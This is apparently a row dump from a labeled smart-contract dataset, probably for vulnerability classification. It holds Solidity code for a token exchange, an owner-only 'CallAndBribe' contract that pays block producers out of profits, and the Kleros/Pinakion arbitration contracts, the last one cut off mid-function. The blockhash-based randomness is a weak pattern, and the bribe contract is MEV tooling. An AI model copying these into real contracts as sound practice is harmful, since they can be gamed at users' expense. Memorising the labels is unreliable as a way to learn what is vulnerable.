source_codes
stringlengths
72
205k
labels
int64
0
1
__index_level_0__
int64
0
5.56k
pragma solidity ^0.4.21; interface ExchangeInterface { event Subscribed(address indexed user); event Unsubscribed(address indexed user); event Cancelled(bytes32 indexed hash); event Traded( bytes32 indexed hash, address makerToken, uint makerTokenAmount, address takerToken, uint takerTokenAmount, address maker, address taker ); event Ordered( address maker, address makerToken, address takerToken, uint makerTokenAmount, uint takerTokenAmount, uint expires, uint nonce ); function subscribe() external; function unsubscribe() external; function trade(address[3] addresses, uint[4] values, bytes signature, uint maxFillAmount) external; function cancel(address[3] addresses, uint[4] values) external; function order(address[2] addresses, uint[4] values) external; function canTrade(address[3] addresses, uint[4] values, bytes signature) external view returns (bool); function isSubscribed(address subscriber) external view returns (bool); function availableAmount(address[3] addresses, uint[4] values) external view returns (uint); function filled(bytes32 hash) external view returns (uint); function isOrdered(address user, bytes32 hash) public view returns (bool); function vault() public view returns (VaultInterface); } interface VaultInterface { event Deposited(address indexed user, address token, uint amount); event Withdrawn(address indexed user, address token, uint amount); event Approved(address indexed user, address indexed spender); event Unapproved(address indexed user, address indexed spender); event AddedSpender(address indexed spender); event RemovedSpender(address indexed spender); function deposit(address token, uint amount) external payable; function withdraw(address token, uint amount) external; function transfer(address token, address from, address to, uint amount) external; function approve(address spender) external; function unapprove(address spender) external; function isApproved(address user, address spender) external view returns (bool); function addSpender(address spender) external; function removeSpender(address spender) external; function latestSpender() external view returns (address); function isSpender(address spender) external view returns (bool); function tokenFallback(address from, uint value, bytes data) public; function balanceOf(address token, address user) public view returns (uint); } library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint a, uint b) internal pure returns (uint) { return a >= b ? a : b; } function min256(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } } library SignatureValidator { enum SignatureMode { EIP712, GETH, TREZOR } function isValidSignature(bytes32 hash, address signer, bytes signature) internal pure returns (bool) { require(signature.length == 66); SignatureMode mode = SignatureMode(uint8(signature[0])); uint8 v = uint8(signature[1]); bytes32 r; bytes32 s; assembly { r := mload(add(signature, 34)) s := mload(add(signature, 66)) } if (mode == SignatureMode.GETH) { hash = keccak256("\x19Ethereum Signed Message:\n32", hash); } else if (mode == SignatureMode.TREZOR) { hash = keccak256("\x19Ethereum Signed Message:\n\x20", hash); } return ecrecover(hash, v, r, s) == signer; } } library OrderLibrary { bytes32 constant public HASH_SCHEME = keccak256( "address Taker Token", "uint Taker Token Amount", "address Maker Token", "uint Maker Token Amount", "uint Expires", "uint Nonce", "address Maker", "address Exchange" ); struct Order { address maker; address makerToken; address takerToken; uint makerTokenAmount; uint takerTokenAmount; uint expires; uint nonce; } function hash(Order memory order) internal view returns (bytes32) { return keccak256( HASH_SCHEME, keccak256( order.takerToken, order.takerTokenAmount, order.makerToken, order.makerTokenAmount, order.expires, order.nonce, order.maker, this ) ); } function createOrder(address[3] addresses, uint[4] values) internal pure returns (Order memory) { return Order({ maker: addresses[0], makerToken: addresses[1], takerToken: addresses[2], makerTokenAmount: values[0], takerTokenAmount: values[1], expires: values[2], nonce: values[3] }); } } contract Ownable { address public owner; modifier onlyOwner { require(isOwner(msg.sender)); _; } function Ownable() public { owner = msg.sender; } function transferOwnership(address _newOwner) public onlyOwner { owner = _newOwner; } function isOwner(address _address) public view returns (bool) { return owner == _address; } } interface ERC20 { function totalSupply() public view returns (uint); function balanceOf(address owner) public view returns (uint); function allowance(address owner, address spender) public view returns (uint); function transfer(address to, uint value) public returns (bool); function transferFrom(address from, address to, uint value) public returns (bool); function approve(address spender, uint value) public returns (bool); } interface HookSubscriber { function tradeExecuted(address token, uint amount) external; } contract Exchange is Ownable, ExchangeInterface { using SafeMath for *; using OrderLibrary for OrderLibrary.Order; address constant public ETH = 0x0; uint256 constant public MAX_FEE = 5000000000000000; uint256 constant private MAX_ROUNDING_PERCENTAGE = 1000; uint256 constant private MAX_HOOK_GAS = 40000; VaultInterface public vault; uint public takerFee = 0; address public feeAccount; mapping (address => mapping (bytes32 => bool)) private orders; mapping (bytes32 => uint) private fills; mapping (bytes32 => bool) private cancelled; mapping (address => bool) private subscribed; function Exchange(uint _takerFee, address _feeAccount, VaultInterface _vault) public { require(address(_vault) != 0x0); setFees(_takerFee); setFeeAccount(_feeAccount); vault = _vault; } function withdraw(address token, uint amount) external onlyOwner { if (token == ETH) { msg.sender.transfer(amount); return; } ERC20(token).transfer(msg.sender, amount); } function subscribe() external { require(!subscribed[msg.sender]); subscribed[msg.sender] = true; emit Subscribed(msg.sender); } function unsubscribe() external { require(subscribed[msg.sender]); subscribed[msg.sender] = false; emit Unsubscribed(msg.sender); } function trade(address[3] addresses, uint[4] values, bytes signature, uint maxFillAmount) external { trade(OrderLibrary.createOrder(addresses, values), msg.sender, signature, maxFillAmount); } function cancel(address[3] addresses, uint[4] values) external { OrderLibrary.Order memory order = OrderLibrary.createOrder(addresses, values); require(msg.sender == order.maker); require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0); bytes32 hash = order.hash(); require(fills[hash] < order.takerTokenAmount); require(!cancelled[hash]); cancelled[hash] = true; emit Cancelled(hash); } function order(address[2] addresses, uint[4] values) external { OrderLibrary.Order memory order = OrderLibrary.createOrder( [msg.sender, addresses[0], addresses[1]], values ); require(vault.isApproved(order.maker, this)); require(vault.balanceOf(order.makerToken, order.maker) >= order.makerTokenAmount); require(order.makerToken != order.takerToken); require(order.makerTokenAmount > 0); require(order.takerTokenAmount > 0); bytes32 hash = order.hash(); require(!orders[msg.sender][hash]); orders[msg.sender][hash] = true; emit Ordered( order.maker, order.makerToken, order.takerToken, order.makerTokenAmount, order.takerTokenAmount, order.expires, order.nonce ); } function canTrade(address[3] addresses, uint[4] values, bytes signature) external view returns (bool) { OrderLibrary.Order memory order = OrderLibrary.createOrder(addresses, values); bytes32 hash = order.hash(); return canTrade(order, signature, hash); } function isSubscribed(address subscriber) external view returns (bool) { return subscribed[subscriber]; } function availableAmount(address[3] addresses, uint[4] values) external view returns (uint) { OrderLibrary.Order memory order = OrderLibrary.createOrder(addresses, values); return availableAmount(order, order.hash()); } function filled(bytes32 hash) external view returns (uint) { return fills[hash]; } function setFees(uint _takerFee) public onlyOwner { require(_takerFee <= MAX_FEE); takerFee = _takerFee; } function setFeeAccount(address _feeAccount) public onlyOwner { require(_feeAccount != 0x0); feeAccount = _feeAccount; } function vault() public view returns (VaultInterface) { return vault; } function isOrdered(address user, bytes32 hash) public view returns (bool) { return orders[user][hash]; } function trade(OrderLibrary.Order memory order, address taker, bytes signature, uint maxFillAmount) internal { require(taker != order.maker); bytes32 hash = order.hash(); require(order.makerToken != order.takerToken); require(canTrade(order, signature, hash)); uint fillAmount = SafeMath.min256(maxFillAmount, availableAmount(order, hash)); require(roundingPercent(fillAmount, order.takerTokenAmount, order.makerTokenAmount) <= MAX_ROUNDING_PERCENTAGE); require(vault.balanceOf(order.takerToken, taker) >= fillAmount); uint makeAmount = order.makerTokenAmount.mul(fillAmount).div(order.takerTokenAmount); uint tradeTakerFee = makeAmount.mul(takerFee).div(1 ether); if (tradeTakerFee > 0) { vault.transfer(order.makerToken, order.maker, feeAccount, tradeTakerFee); } vault.transfer(order.takerToken, taker, order.maker, fillAmount); vault.transfer(order.makerToken, order.maker, taker, makeAmount.sub(tradeTakerFee)); fills[hash] = fills[hash].add(fillAmount); assert(fills[hash] <= order.takerTokenAmount); if (subscribed[order.maker]) { order.maker.call.gas(MAX_HOOK_GAS)(HookSubscriber(order.maker).tradeExecuted.selector, order.takerToken, fillAmount); } emit Traded( hash, order.makerToken, makeAmount, order.takerToken, fillAmount, order.maker, taker ); } function canTrade(OrderLibrary.Order memory order, bytes signature, bytes32 hash) internal view returns (bool) { if (fills[hash] == 0) { if (!isOrdered(order.maker, hash) && !SignatureValidator.isValidSignature(hash, order.maker, signature)) { return false; } } if (cancelled[hash]) { return false; } if (!vault.isApproved(order.maker, this)) { return false; } if (order.takerTokenAmount == 0) { return false; } if (order.makerTokenAmount == 0) { return false; } if (availableAmount(order, hash) == 0) { return false; } return order.expires > now; } function availableAmount(OrderLibrary.Order memory order, bytes32 hash) internal view returns (uint) { return SafeMath.min256( order.takerTokenAmount.sub(fills[hash]), vault.balanceOf(order.makerToken, order.maker).mul(order.takerTokenAmount).div(order.makerTokenAmount) ); } function roundingPercent(uint numerator, uint denominator, uint target) internal pure returns (uint) { uint remainder = mulmod(target, numerator, denominator); if (remainder == 0) { return 0; } return remainder.mul(1000000).div(numerator.mul(target)); } }
0
2,041
pragma solidity ^0.8.0; interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); } interface IWETH { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function deposit() external payable; function withdraw(uint wad) external; } pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Ownable { address payable owner; constructor() { owner = payable(msg.sender); } receive() external payable {} fallback() external payable {} modifier onlyOwner { require(msg.sender == owner); _; } } contract CallAndBribe is Ownable { using SafeERC20 for IERC20; IWETH weth; constructor() { weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); } function withdrawToken(IERC20 _TokenAddress) public onlyOwner { uint256 qty = _TokenAddress.balanceOf(address(this)); _TokenAddress.safeTransfer(owner, qty); } function withdraw() public onlyOwner { uint256 contractBalance = address(this).balance; address payable _to = owner; _to.transfer(contractBalance); } function callAndBribe(bool inBribeMode, uint256 bribePercentage, uint256 bribeFixed, address _contract, bytes calldata _data) external onlyOwner { if (inBribeMode) { uint256 startBalance = weth.balanceOf(address(this)); uint256 bribeAmount; require(caller(_contract, _data), "Error in remote execution"); uint256 endBalance = weth.balanceOf(address(this)); if (bribeFixed <= (endBalance - startBalance)) { bribeAmount = bribeFixed; } else { if (bribePercentage > 0) { uint profit = endBalance - startBalance; bribeAmount = profit * bribePercentage / 100; } } if (bribeAmount > 0) { weth.withdraw(bribeAmount); block.coinbase.call{value: bribeAmount}(new bytes(0)); } } else { require(caller(_contract, _data), "Error in remote execution"); } } function caller(address _contract, bytes calldata _data) internal returns(bool) { (bool success, bytes memory data) = _contract.call(_data); return success; } }
0
241
pragma solidity ^0.4.24; contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } contract TokenController { function proxyPayment(address _owner) public payable returns(bool); function onTransfer(address _from, address _to, uint _amount) public returns(bool); function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract Controlled { modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} function changeController(address _newController) public onlyController { controller = _newController; } } contract Pinakion is Controlled { string public name; uint8 public decimals; string public symbol; string public version = 'MMT_0.2'; struct Checkpoint { uint128 fromBlock; uint128 value; } Pinakion public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; function Pinakion( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; parentToken = Pinakion(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { Transfer(_from, _to, _amount); return; } require(parentSnapShotBlock < block.number); require((_to != 0) && (_to != address(this))); var previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); Transfer(_from, _to, _amount); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; Pinakion cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } function destroyTokens(address _owner, uint _amount ) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } Pinakion token = Pinakion(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } contract MiniMeTokenFactory { function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (Pinakion) { Pinakion newToken = new Pinakion( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract RNG{ function contribute(uint _block) public payable; function requestRN(uint _block) public payable { contribute(_block); } function getRN(uint _block) public returns (uint RN); function getUncorrelatedRN(uint _block) public returns (uint RN) { uint baseRN=getRN(_block); if (baseRN==0) return 0; else return uint(keccak256(msg.sender,baseRN)); } } contract BlockHashRNG is RNG { mapping (uint => uint) public randomNumber; mapping (uint => uint) public reward; function contribute(uint _block) public payable { reward[_block]+=msg.value; } function getRN(uint _block) public returns (uint RN) { RN=randomNumber[_block]; if (RN==0){ saveRN(_block); return randomNumber[_block]; } else return RN; } function saveRN(uint _block) public { if (blockhash(_block) != 0x0) randomNumber[_block] = uint(blockhash(_block)); if (randomNumber[_block] != 0) { uint rewardToSend = reward[_block]; reward[_block] = 0; msg.sender.send(rewardToSend); } } } contract BlockHashRNGFallback is BlockHashRNG { function saveRN(uint _block) public { if (_block<block.number && randomNumber[_block]==0) { if (blockhash(_block)!=0x0) randomNumber[_block]=uint(blockhash(_block)); else randomNumber[_block]=uint(blockhash(block.number-1)); } if (randomNumber[_block] != 0) { uint rewardToSend=reward[_block]; reward[_block]=0; msg.sender.send(rewardToSend); } } } contract Arbitrable{ Arbitrator public arbitrator; bytes public arbitratorExtraData; modifier onlyArbitrator {require(msg.sender==address(arbitrator)); _;} event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling); event MetaEvidence(uint indexed _metaEvidenceID, string _evidence); event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID); event Evidence(Arbitrator indexed _arbitrator, uint indexed _disputeID, address _party, string _evidence); constructor(Arbitrator _arbitrator, bytes _arbitratorExtraData) public { arbitrator = _arbitrator; arbitratorExtraData = _arbitratorExtraData; } function rule(uint _disputeID, uint _ruling) public onlyArbitrator { emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling); executeRuling(_disputeID,_ruling); } function executeRuling(uint _disputeID, uint _ruling) internal; } contract Arbitrator{ enum DisputeStatus {Waiting, Appealable, Solved} modifier requireArbitrationFee(bytes _extraData) {require(msg.value>=arbitrationCost(_extraData)); _;} modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;} event AppealPossible(uint _disputeID); event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable); event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable); function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {} function arbitrationCost(bytes _extraData) public constant returns(uint fee); function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable { emit AppealDecision(_disputeID, Arbitrable(msg.sender)); } function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee); function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status); function currentRuling(uint _disputeID) public constant returns(uint ruling); } contract Kleros is Arbitrator, ApproveAndCallFallBack { Pinakion public pinakion; uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2; RNG public rng; uint public arbitrationFeePerJuror = 0.05 ether; uint16 public defaultNumberJuror = 3; uint public minActivatedToken = 0.1 * 1e18; uint[5] public timePerPeriod; uint public alpha = 2000; uint constant ALPHA_DIVISOR = 1e4; uint public maxAppeals = 5; address public governor; uint public session = 1; uint public lastPeriodChange; uint public segmentSize; uint public rnBlock; uint public randomNumber; enum Period { Activation, Draw, Vote, Appeal, Execution } Period public period; struct Juror { uint balance; uint atStake; uint lastSession; uint segmentStart; uint segmentEnd; } mapping (address => Juror) public jurors; struct Vote { address account; uint ruling; } struct VoteCounter { uint winningChoice; uint winningCount; mapping (uint => uint) voteCount; } enum DisputeState { Open, Resolving, Executable, Executed } struct Dispute { Arbitrable arbitrated; uint session; uint appeals; uint choices; uint16 initialNumberJurors; uint arbitrationFeePerJuror; DisputeState state; Vote[][] votes; VoteCounter[] voteCounter; mapping (address => uint) lastSessionVote; uint currentAppealToRepartition; AppealsRepartitioned[] appealsRepartitioned; } enum RepartitionStage { Incoherent, Coherent, AtStake, Complete } struct AppealsRepartitioned { uint totalToRedistribute; uint nbCoherent; uint currentIncoherentVote; uint currentCoherentVote; uint currentAtStakeVote; RepartitionStage stage; } Dispute[] public disputes; event NewPeriod(Period _period, uint indexed _session); event TokenShift(address indexed _account, uint _disputeID, int _amount); event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount); modifier onlyBy(address _account) {require(msg.sender == _account); _;} modifier onlyDuring(Period _period) {require(period == _period); _;} modifier onlyGovernor() {require(msg.sender == governor); _;} constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public { pinakion = _pinakion; rng = _rng; lastPeriodChange = now; timePerPeriod = _timePerPeriod; governor = _governor; } function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { require(pinakion.transferFrom(_from, this, _amount)); jurors[_from].balance += _amount; } function withdraw(uint _value) public { Juror storage juror = jurors[msg.sender]; require(juror.atStake <= juror.balance); require(_value <= juror.balance-juror.atStake); require(juror.lastSession != session); juror.balance -= _value; require(pinakion.transfer(msg.sender,_value)); } function passPeriod() public { require(now-lastPeriodChange >= timePerPeriod[uint8(period)]); if (period == Period.Activation) { rnBlock = block.number + 1; rng.requestRN(rnBlock); period = Period.Draw; } else if (period == Period.Draw) { randomNumber = rng.getUncorrelatedRN(rnBlock); require(randomNumber != 0); period = Period.Vote; } else if (period == Period.Vote) { period = Period.Appeal; } else if (period == Period.Appeal) { period = Period.Execution; } else if (period == Period.Execution) { period = Period.Activation; ++session; segmentSize = 0; rnBlock = 0; randomNumber = 0; } lastPeriodChange = now; NewPeriod(period, session); } function activateTokens(uint _value) public onlyDuring(Period.Activation) { Juror storage juror = jurors[msg.sender]; require(_value <= juror.balance); require(_value >= minActivatedToken); require(juror.lastSession != session); juror.lastSession = session; juror.segmentStart = segmentSize; segmentSize += _value; juror.segmentEnd = segmentSize; } function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) { Dispute storage dispute = disputes[_disputeID]; Juror storage juror = jurors[msg.sender]; VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals]; require(dispute.lastSessionVote[msg.sender] != session); require(_ruling <= dispute.choices); require(validDraws(msg.sender, _disputeID, _draws)); dispute.lastSessionVote[msg.sender] = session; voteCounter.voteCount[_ruling] += _draws.length; if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) { voteCounter.winningCount = voteCounter.voteCount[_ruling]; voteCounter.winningChoice = _ruling; } else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) { voteCounter.winningChoice = 0; } for (uint i = 0; i < _draws.length; ++i) { dispute.votes[dispute.appeals].push(Vote({ account: msg.sender, ruling: _ruling })); } juror.atStake += _draws.length * getStakePerDraw(); uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror; msg.sender.transfer(feeToPay); ArbitrationReward(msg.sender, _disputeID, feeToPay); } function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public { Dispute storage dispute = disputes[_disputeID]; Juror storage inactiveJuror = jurors[_jurorAddress]; require(period > Period.Vote); require(dispute.lastSessionVote[_jurorAddress] != session); dispute.lastSessionVote[_jurorAddress] = session; require(validDraws(_jurorAddress, _disputeID, _draws)); uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR; penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance; inactiveJuror.balance -= penality; TokenShift(_jurorAddress, _disputeID, -int(penality)); jurors[msg.sender].balance += penality / 2; TokenShift(msg.sender, _disputeID, int(penality / 2)); jurors[governor].balance += penality / 2; TokenShift(governor, _disputeID, int(penality / 2)); msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror); } function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) { Dispute storage dispute = disputes[_disputeID]; require(dispute.state == DisputeState.Open); require(dispute.session+dispute.appeals <= session); uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice; uint amountShift = getStakePerDraw(); for (uint i = 0; i <= dispute.appeals; ++i) { if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) { uint totalToRedistribute = 0; uint nbCoherent = 0; for (uint j = 0; j < dispute.votes[i].length; ++j) { Vote storage vote = dispute.votes[i][j]; if (vote.ruling != winningChoice) { Juror storage juror = jurors[vote.account]; uint penalty = amountShift<juror.balance ? amountShift : juror.balance; juror.balance -= penalty; TokenShift(vote.account, _disputeID, int(-penalty)); totalToRedistribute += penalty; } else { ++nbCoherent; } } if (nbCoherent == 0) { jurors[governor].balance += totalToRedistribute; TokenShift(governor, _disputeID, int(totalToRedistribute)); } else { uint toRedistribute = totalToRedistribute / nbCoherent; for (j = 0; j < 